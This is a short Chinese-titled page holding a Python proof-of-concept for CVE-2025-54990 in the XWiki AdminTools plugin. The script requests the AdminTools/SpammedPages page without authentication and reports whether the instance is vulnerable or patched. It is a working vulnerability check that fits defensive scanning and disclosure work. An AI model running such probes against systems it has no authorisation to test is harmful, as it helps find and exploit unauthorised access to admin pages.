XWiki AdminTools 权限绕过漏洞 (CVE-2025-54990)

# CVE-2025-54990 PoC - XWiki AdminTools Unauthorized Access # Target: XWiki instance with AdminTools plugin < 1.1 # Description: Non-admin users can access AdminTools.SpammedPages page import requests from urllib.parse import urljoin def check_vulnerability(base_url): """ Check if XWiki AdminTools is vulnerable to CVE-2025-54990 """ # Target page path target_path = "/xwiki/bin/view/AdminTools/SpammedPages" full_url = urljoin(base_url, target_path) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: response = requests.get(full_url, headers=headers, timeout=10, allow_redirects=False) # Check if page is accessible (HTTP 200 without admin redirect) if response.status_code == 200: # Check if response contains page content (not admin login redirect) if "AdminTools" in response.text and "SpammedPages" in response.text: print(f"[VULNERABLE] Page accessible at: {full_url}") print(f"Status Code: {response.status_code}") return True # Check for admin redirect (indicates patch applied) if response.status_code in [302, 303, 307, 308]: redirect_location = response.headers.get('Location', '') if 'login' in redirect_location.lower() or 'admin' in redirect_location.lower(): print(f"[PATCHED] Admin access required - redirect to: {redirect_location}") return False print(f"[INFO] Status Code: {response.status_code}") return False except requests.RequestException as e: print(f"[ERROR] Request failed: {e}") return False # Usage example if __name__ == "__main__": target = "http://target-xwiki-instance.com" is_vulnerable = check_vulnerability(target)